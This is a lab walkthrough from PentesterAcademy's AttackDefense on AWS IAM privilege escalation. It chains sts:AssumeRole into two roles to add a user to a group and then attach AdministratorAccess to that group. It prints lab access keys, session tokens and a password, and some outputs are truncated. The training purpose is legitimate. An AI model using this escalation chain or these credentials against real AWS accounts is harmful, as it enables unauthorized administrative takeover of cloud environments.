
ATTACK
DEFENSE
by PentesterAcademy

Name	Dangerous Policy Combination I
URL	https://attackdefense.com/challengedetails?cid=2249
Type	AWS Cloud Security : IAM

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Solution:

Step 1: Click on the lab link button to get access to AWS lab credentials.

Access Credentials to your AWS lab Account

Login URL	https://607486832336.signin.aws.amazon.com/console
Region	US East (N. Virginia) us-east-1
Username	student
Password	Ad9f93iUcJ9yb5hy
Access Key ID	AKIAY24IJN3IFQNTNKMF
Secret Access Key	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

Step 2: Configure AWS CLI to use the provided credentials.

Command: aws configure

```
┌──(kali㉿kali)-[~]
└─$ aws configure
AWS Access Key ID [****************I3F5]: AKIAY24IJN3IFQNTNKMF
AWS Secret Access Key [****************QVcJ]: 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
Default region name [us-east-1]:
Default output format [None]:
```

Step 3: List policies attached to the student user.

Command: aws iam list-attached-user-policies --user-name student

```
┌──(kali㉿kali)-[~]
└─$ aws iam list-attached-user-policies --user-name student
{
    "AttachedPolicies": [
        {
            "PolicyName": "IAMReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
        }
    ]
}
```

Step 4: Try creating a new user named Bob.

Command: aws iam create-user --user-name Bob

```
┌──(kali㉿kali)-[~]
└─$ aws iam create-user --user-name Bob

An error occurred (AccessDenied) when calling the CreateUser operation: User: arn:aws:iam::6074
User on resource: arn:aws:iam::607486832336:user/Bob
```

User creation failed due to insufficient privileges.

Step 5: Get information about the user's inline policies and enumerate the attached policies.

Commands:
aws iam list-user-policies --user-name student
aws iam get-user-policy --user-name student --policy-name terraform-20210211051758659400000002

```
┌──(kali㉿kali)-[~]
└─$ aws iam list-user-policies --user-name student
{
    "PolicyNames": [
        "terraform-20210211062254104700000002"
    ]
}

┌──(kali㉿kali)-[~]
└─$ aws iam get-user-policy --user-name student --policy-name terraform-20210211062254104700000002
{
    "UserName": "student",
    "PolicyName": "terraform-20210211062254104700000002",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "sts:AssumeRole"
                ],
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:iam::607486832336:role/Adder",
                    "arn:aws:iam::607486832336:role/Attacher"
                ]
            }
        ]
    }
}
```

Check resources mentioned in policy.

Step 6: Check policies attached to Adder and check the role-policy document.

Commands:
aws iam list-role-policies --role-name Adder
aws iam get-role-policy --role-name Adder --policy-name AddUser

```
┌──(kali㉿kali)-[~]
└─$ aws iam list-role-policies --role-name Adder
{
    "PolicyNames": [
        "AddUser"
    ]
}
```

```
┌──(kali㉿kali)-[~]
└─$ aws iam get-role-policy --role-name Adder --policy-name AddUser
{
    "RoleName": "Adder",
    "PolicyName": "AddUser",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "iam:AddUserToGroup",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::607486832336:group/Printers"
            }
        ]
    }
}
```

Role policy says that role Adder has permission to add any user to the Printers group.

Step 7: Assume Adder role with student user.

Command: aws sts assume-role --role-arn arn:aws:iam::596317060068:role/Adder --role-session-name adder_test

```
┌──(kali㉿kali)-[~]
└─$ aws sts assume-role --role-arn arn:aws:iam::607486832336:role/Adder --role-session-name adder_test
{
    "Credentials": {
        "AccessKeyId": "ASIAY24IJN3IGGAME5N6",
        "SecretAccessKey": "9u1nEBYo/uEVNAZ/ekk81f2uIsWJIgTXU/jrQKzM",
        "SessionToken": "IQoJb3JpZ2luX2VjEL//////////wEaCXVzLWVhc3QtMSJHMEUCIE02Rx9+RIlnmSapH52CWRIWr/s
c9Mgga9sSRAqoAIIuP//////////ARAAGgw2MDc0ODY4MzIzMzYiDBYBojxAKtC7+xQRfyr0ARD7ZmjRh1K2mXdgXm1p+tZ4HQoHsisF
PdicbMykB89HN+iEM5qZhePkQ/rCxKL9HwY0QBlmI24pLOxIpNPx2BBjSx7lExbz+MIlqYggRK8ZrxtFVswiHCpZT8eAbTGwD61aKyHE
yRDtImvAfk7l6UWuPfYWLbvIQwrQLVjiYPqZiBORgqD0vHMlkU7bj6l3JB3PdeJRQbVQSZtavrtrbvhgSH02YwsJyTgQY6nQG31nB4TZ
6wj+9BBkDVwIZhmVl0x6sOTk1jJFTrR2+poHgM7u+G6McWCYOvX1hMShYXO0y1VO1rw1C3SF4yvIQe7MDCj52dDY+7tWwSNaNalXKokn
        "Expiration": "2021-02-11T07:26:56+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAY24IJN3IF6KH7OYZC:adder_test",
        "Arn": "arn:aws:sts::607486832336:assumed-role/Adder/adder_test"
    }
}
```

Make a note of Credentials and tokens.

Step 8: Set the access key id, secret access key, and session token in environment variables.

Commands:
export AWS_ACCESS_KEY_ID=<access key id>
export AWS_SECRET_ACCESS_KEY=<secret access key>
export AWS_SESSION_TOKEN=<session token>

```
┌──(kali㉿kali)-[~]
└─$ export AWS_ACCESS_KEY_ID=ASIAY24IJN3IGGAME5N6
export AWS_SECRET_ACCESS_KEY=9u1nEBYo/uEVNAZ/ekk81f2uIsWJIgTXU/jrQKzM
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEL//////////wEaCXVzLWVhc3QtMSJHMEUCIE02Rx9+RIlnm
c9Mgga9sSRAqoAIIuP//////////ARAAGgw2MDc0ODY4MzIzMzYiDBYBojxAKtC7+xQRfyr0ARD7ZmjRh1K2mXdgXm
PdicbMykB89HN+iEM5qZhePkQ/rCxKL9HwY0QBlmI24pLOxIpNPx2BBjSx7lExbz+MIlqYggRK8ZrxtFVswiHCpZT8
yRDtImvAfk7l6UWuPfYWLbvIQwrQLVjiYPqZiBORgqD0vHMlkU7bj6l3JB3PdeJRQbVQSZtavrtrbvhgSH02YwsJyT
6wj+9BBkDVwIZhmVl0x6sOTk1jJFTrR2+poHgM7u+G6McWCYOvX1hMShYXO0y1VO1rw1C3SF4yvIQe7MDCj52dDY+7
```

Step 9: Add student user to printers group.

Command: aws iam add-user-to-group --group-name Printers --user-name student

```
┌──(kali㉿kali)-[~]
└─$ aws iam add-user-to-group --group-name Printers --user-name student
```

Step 10: Unset environment variables.

Commands:
unset AWS_ACCESS_KEY_ID
unset AWS_SECRET_ACCESS_KEY.
unset AWS_SESSION_TOKEN

```
┌──(kali㉿kali)-[~]
└─$ unset AWS_ACCESS_KEY_ID
unset AWS_SECRET_ACCESS_KEY
unset AWS_SESSION_TOKEN
```

Step 11: List groups for the student user.

Command: aws iam list-groups-for-user --user-name student

```
┌──(kali㉿kali)-[~]
└─$ aws iam list-groups-for-user --user-name student
{
    "Groups": [
        {
            "Path": "/",
            "GroupName": "Printers",
            "GroupId": "AGPAY24IJN3ICCTFJ5KPU",
            "Arn": "arn:aws:iam::607486832336:group/Printers",
            "CreateDate": "2021-02-11T06:22:38+00:00"
        }
    ]
}
```

Successfully added student user to Printers group.

Step 11: Check the policies attached to the Attacher role and check the role-policy document.

Commands:
aws iam list-role-policies --role-name Attacher
aws iam get-role-policy --role-name Attacher --policy-name AttachPolicy

```
┌──(kali㉿kali)-[~]
└─$ aws iam list-role-policies --role-name Attacher
{
    "PolicyNames": [
        "AttachPolicy"
    ]
}

┌──(kali㉿kali)-[~]
└─$ aws iam get-role-policy --role-name Attacher --policy-name AttachPolicy
{
    "RoleName": "Attacher",
    "PolicyName": "AttachPolicy",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "iam:AttachGroupPolicy",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::607486832336:group/Printers"
            }
        ]
    }
}
```

Role policy says that the role Attacher has permission to attach any policy to the Printers group.

Step 12: Identify the ARN of the AdministratorAccess policy

Command: aws iam list-policies | grep 'AdministratorAccess'

```
┌──(kali㉿kali)-[~]
└─$ aws iam list-policies | grep 'AdministratorAccess'
            "PolicyName": "AdministratorAccess",
            "Arn": "arn:aws:iam::aws:policy/AdministratorAccess",
            "PolicyName": "AdministratorAccess-Amplify",
            "Arn": "arn:aws:iam::aws:policy/AdministratorAccess-Amplify",
            "PolicyName": "AdministratorAccess-AWSElasticBeanstalk",
            "Arn": "arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk",
            "PolicyName": "AWSAuditManagerAdministratorAccess",
            "Arn": "arn:aws:iam::aws:policy/AWSAuditManagerAdministratorAccess",
```

Step 13: Assume Attacher role.

Command: aws sts assume-role --role-arn arn:aws:iam::607486832336:role/Attacher --role-session-name attacher_test

```
┌──(kali㉿kali)-[~]
└─$ aws sts assume-role --role-arn arn:aws:iam::607486832336:role/Attacher --role-session-name attacher_test
{
    "Credentials": {
        "AccessKeyId": "ASIAY24IJN3IBC6PVZUD",
        "SecretAccessKey": "HRcQViT3sR9uACx37aw1H5hDa2zhtKMR8t0aTTVC",
        "SessionToken": "IQoJb3JpZ2luX2VjEL//////////wEaCXVzLWVhc3QtMSJGMEQCIEWwqWI0cUmqYx2YEevCTLki2ckaE22VyDE
IyGjk8lSQiqjAgi4//////////8BEAAaDDYwNzQ4NjgzMjMzNiIMfq04gRcwRS4EwdWKKvcBdCtDqVffQD+lPENAIfcDWzQLVzr9mXBIGQ4nFp8C
QO4c7jopdbgzVo3Jk71wFH/FQT1gJRe94+HRnSCIZxumAmXiZjpeqlErSPTDBMdu0UKBaYqvpVXzQ/RR2lyh33UfN0I7W9UUqBFaiFcYS0e1yNSj
1aE2jZqlTRxHPrD70/jX3OZ0hvoha56qdVMi1FcRzlpa8NyWoDzXkQr3dUrCuNHvl0BGff45yL3ctvi1sOhbPrcTDwnZOBBjqeAQePmt9EgBxrwe
DGYc2b6xjqfQq5/Z9CXHCyF3cg9kPEpw81hNZo3YV/SPoWYhgiZaXzXuMgz5azZCfYEveD9UxDeyM/tXcKszNYTon4YvxS/Hz7HjHh+wvPQAgzz5
        "Expiration": "2021-02-11T07:30:08+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAY24IJN3IPNAUKZACT:attacher_test",
        "Arn": "arn:aws:sts::607486832336:assumed-role/Attacher/attacher_test"
    }
}
```

Make a note of Credentials and tokens.

Step 14: Set the access key id, secret access key, and session token in environment variables.

Commands:
export AWS_ACCESS_KEY_ID=<access key id>
export AWS_SECRET_ACCESS_KEY=<secret access key>
export AWS_SESSION_TOKEN=<session token>

```
┌──(kali㉿kali)-[~]
└─$ export AWS_ACCESS_KEY_ID=ASIAY24IJN3IBC6PVZUD
export AWS_SECRET_ACCESS_KEY=HRcQViT3sR9uACx37aw1H5hDa2zhtKMR8t0aTTVC
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEL//////////wEaCXVzLWVhc3QtMSJGMEQCIEWwqWI0cUmqYx2YEev
IyGjk8lSQiqjAgi4//////////8BEAAaDDYwNzQ4NjgzMjMzNiIMfq04gRcwRS4EwdWKKvcBdCtDqVffQD+lPENAIfcDWzQL
QO4c7jopdbgzVo3Jk71wFH/FQT1gJRe94+HRnSCIZxumAmXiZjpeqlErSPTDBMdu0UKBaYqvpVXzQ/RR2lyh33UfN0I7W9UU
1aE2jZqlTRxHPrD70/jX3OZ0hvoha56qdVMi1FcRzlpa8NyWoDzXkQr3dUrCuNHvl0BGff45yL3ctvi1sOhbPrcTDwnZOBBj
DGYc2b6xjqfQq5/Z9CXHCyF3cg9kPEpw81hNZo3YV/SPoWYhgiZaXzXuMgz5azZCfYEveD9UxDeyM/tXcKszNYTon4YvxS/H
```

Step 15: Attach AdministratorAccess role to Printers group.

Command: aws iam attach-group-policy --group-name Printers --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

```
┌──(kali㉿kali)-[~]
└─$ aws iam attach-group-policy --group-name Printers --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
```

Step 16: Unset all environment variables.

Commands:
unset AWS_ACCESS_KEY_ID
unset AWS_SECRET_ACCESS_KEY.
unset AWS_SESSION_TOKEN

```
┌──(kali㉿kali)-[~]
└─$ unset AWS_ACCESS_KEY_ID
unset AWS_SECRET_ACCESS_KEY
unset AWS_SESSION_TOKEN
```

Step 17: Check policies attached to the Printers group.

Command: aws iam list-attached-group-policies --group-name Printers

```
┌──(kali㉿kali)-[~]
└─$ aws iam list-attached-group-policies --group-name Printers
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}
```

Successfully attached AdministratorAccess policy to Printers group.

Step 18: Try creating a new user named Bob to verify Administrator Access.

Command: aws iam create-user --user-name Bob

```
┌──(kali㉿kali)-[~]
└─$ aws iam create-user --user-name Bob
{
    "User": {
        "Path": "/",
        "UserName": "Bob",
        "UserId": "AIDAY24IJN3IGYBLOF7EI",
        "Arn": "arn:aws:iam::607486832336:user/Bob",
        "CreateDate": "2021-02-11T06:31:23+00:00"
    }
}
```

Successfully performed a privileged operation.

References:

1. AWS CLI (https://docs.aws.amazon.com/cli/latest/reference/)